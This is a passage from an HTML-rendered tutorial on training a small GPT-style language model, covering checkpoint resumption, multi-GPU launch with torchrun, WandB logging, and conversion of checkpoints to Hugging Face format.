&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Resuming from checkpoint: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;checkpoint_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load checkpoint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        checkpoint &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load(checkpoint_path, map_location&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load model state&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        raw_model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;module &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        raw_model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load_state_dict(checkpoint[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;model&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Model state loaded successfully&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load optimizer state&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;optimizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load_state_dict(checkpoint[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;optimizer&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Optimizer state loaded successfully&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get iteration number and best validation loss&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;start_iter &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;iter_num&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;best_val_loss &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;best_val_loss&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1e9&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Resuming from iteration: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;start_iter&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Best validation loss so far: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;best_val_loss&lt;span style=&#34;color:#a6da95&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.4f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;error(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed to load checkpoint: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;e&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Starting training from scratch...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;start_iter &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;best_val_loss &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1e9&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 15: Resume Training from Checkpoint&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The function loads the model weights, optimizer state, iteration number, and best validation loss from the checkpoint file, then continues training from where it left off. If the checkpoint file doesn&amp;rsquo;t exist or can&amp;rsquo;t be loaded, it logs an error and starts training from scratch. Since our Regular model takes 28-32 hours to train, resuming from a checkpoint saves significant time when training is interrupted by power outages, crashes, or manual stops.&lt;/p&gt;
&lt;h2 id=&#34;7-training-launch-and-management&#34;&gt;7. Training Launch and Management&lt;/h2&gt;
&lt;h3 id=&#34;71-multi-gpu-training-with-torchrun&#34;&gt;7.1 Multi-GPU Training with torchrun&lt;/h3&gt;
&lt;p&gt;For a single GPU, you can run the training script directly — a single Python process will use that device. To use multiple GPUs, launch training with &lt;code&gt;torchrun&lt;/code&gt;, which spawns one worker process per GPU and lets the code initialize &lt;code&gt;DistributedDataParallel&lt;/code&gt; (DDP). This enables larger effective batch sizes and faster wall‑clock training while keeping weights synchronized across devices; set &lt;code&gt;--nproc_per_node&lt;/code&gt; to the number of GPUs you want to use (for example, &lt;code&gt;--nproc_per_node=2&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;torchrun&lt;/code&gt; is PyTorch&amp;rsquo;s recommended launcher for distributed training: it initializes the distributed backend and sets environment variables (&lt;code&gt;RANK&lt;/code&gt;, &lt;code&gt;LOCAL_RANK&lt;/code&gt;, &lt;code&gt;WORLD_SIZE&lt;/code&gt;) to keep workers in sync. With &lt;code&gt;torchrun --nproc_per_node=N&lt;/code&gt; (where &lt;code&gt;N&lt;/code&gt; is the number of GPUs to use — it can be less than the total GPUs available), batches are sharded across the chosen GPUs and gradients are synchronized after each backward pass, which often gives near‑linear speedups on a small multi‑GPU node.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Single GPU (even with multiple available)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python train_model_slm.py
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Multi-GPU with near-linear speedup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;torchrun --nproc_per_node&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt; train_model_slm.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The training script handles DDP (&lt;code&gt;DistributedDataParallel&lt;/code&gt;) via &lt;code&gt;train_model_slm.py&lt;/code&gt; for gradient sync and batch distribution across GPUs. &lt;a href=&#34;#fig12&#34; class=&#34;figure-ref&#34;&gt;Figure 12&lt;/a&gt; below shows an example where we have dual GPUs and both are being used.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/train16-4.png&#34; alt=&#34;Multiple GPU used for training Screenshot&#34; title=&#34;Multiple GPU used for training&#34; id=&#34;fig12&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 12:&lt;/strong&gt; Multiple GPU used for training&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Note that if you run &lt;code&gt;python train_model_slm.py&lt;/code&gt; on a multi‑GPU machine, only one GPU is used; the others remain idle. To use more than one GPU, we must use &lt;code&gt;torchrun&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;72-training-monitoring&#34;&gt;7.2 Training Monitoring&lt;/h3&gt;
&lt;p&gt;Training is monitored locally via structured console logs and remotely via WandB. The snippet in &lt;a href=&#34;#listing16&#34; class=&#34;listing-ref&#34;&gt;Listing 16&lt;/a&gt; records loss, learning rate, timing, and MFU at a configurable interval and, when enabled, streams the same metrics to WandB for side‑by‑side run comparison.&lt;/p&gt;
&lt;figure id=&#34;listing16&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Timing and logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t1 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;time()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; t1 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; t0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t0 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; t1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; iter_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;log_interval &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;master_process:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lossf &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; loss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;item()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; local_iter_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;5&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; raw_model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;estimate_mfu(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;batch_size, dt)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        running_mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; mfu &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; running_mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1.0&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.9&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;running_mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;mfu
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;iter &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;iter_num&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;: loss &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;lossf&lt;span style=&#34;color:#a6da95&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.4f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;, time &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;dt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.2f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;ms, mfu &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;running_mfu&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.2f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;%&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Log to WandB - loss first for better mobile UI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;use_wandb:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        wandb&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;log({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/loss&amp;#34;&lt;/span&gt;: lossf,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/lr&amp;#34;&lt;/span&gt;: lr,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/iter&amp;#34;&lt;/span&gt;: iter_num,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/mfu&amp;#34;&lt;/span&gt;: running_mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; running_mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/dt_ms&amp;#34;&lt;/span&gt;: dt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        })&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 16: Training Monitoring and Logging&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Together, console logs and WandB provide real‑time visibility and reproducible experiment tracking; &lt;a href=&#34;#fig13&#34; class=&#34;figure-ref&#34;&gt;Figure 13&lt;/a&gt; below shows an example of the console logs; see Section 5 for setup and dashboards.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/train16-7.png&#34; alt=&#34;Console training logs showing iteration, loss, step time, and MFU with checkpoint saves&#34; title=&#34;Console training logs: iteration, loss, step time, MFU, and checkpoint saves&#34; id=&#34;fig13&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 13:&lt;/strong&gt; Console training logs: iteration, loss, step time, MFU, and checkpoint saves&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&#34;8-model-file-formats-and-conversion&#34;&gt;8. Model File Formats and Conversion&lt;/h2&gt;
&lt;p&gt;Training produces PyTorch checkpoint files (&lt;code&gt;.pt&lt;/code&gt;) that contain model weights, optimizer state, and training metadata — everything needed to resume training. These checkpoints are covered in detail in &lt;a
	
		href = &#34;#6-checkpointing-and-model-persistence&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Section 6
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For sharing models and standard deployment workflows, we convert PyTorch checkpoints into the Hugging Face repository format. This conversion creates a portable, standardized model package that can be loaded with standard Hugging Face APIs.&lt;/p&gt;
&lt;h3 id=&#34;81-converting-pytorch-checkpoints-to-hugging-face-format&#34;&gt;8.1 Converting PyTorch Checkpoints to Hugging Face Format&lt;/h3&gt;
&lt;p&gt;The Hugging Face repository format is a standardized directory structure containing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;config.json&lt;/code&gt;&lt;/strong&gt;: Architecture definition (layers, heads, embedding dimensions, vocabulary size, sequence length). Allows &lt;code&gt;AutoModelForCausalLM&lt;/code&gt; to reconstruct the model architecture without custom code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;model.safetensors&lt;/code&gt;&lt;/strong&gt;: Model weights in SafeTensors format (memory-mapped, secure loading). Contains only model parameters, no optimizer state — suitable for inference workloads.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;generation_config.json&lt;/code&gt;&lt;/strong&gt;: Default text generation parameters (max_new_tokens, temperature, top_p, repetition_penalty). Can be overridden at runtime.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tokenizer files&lt;/strong&gt; (&lt;code&gt;tokenizer.json&lt;/code&gt;, &lt;code&gt;vocab.json&lt;/code&gt;, &lt;code&gt;merges.txt&lt;/code&gt;, &lt;code&gt;special_tokens_map.json&lt;/code&gt;, &lt;code&gt;tokenizer_config.json&lt;/code&gt;): Serialized tokenizer with vocabulary, merge rules, normalization, and special tokens matching the training configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The conversion code in &lt;a href=&#34;#listing17&#34; class=&#34;listing-ref&#34;&gt;Listing 17&lt;/a&gt; loads a PyTorch checkpoint, extracts model weights and config, handles &lt;code&gt;torch.compile&lt;/code&gt; naming prefixes if present, and saves the model and tokenizer in Hugging Face format.&lt;/p&gt;
&lt;figure id=&#34;listing17&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; GPT2LMHeadModel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;convert_pytorch_to_huggingface&lt;/span&gt;(pytorch_checkpoint_path, output_dir, tokenizer):
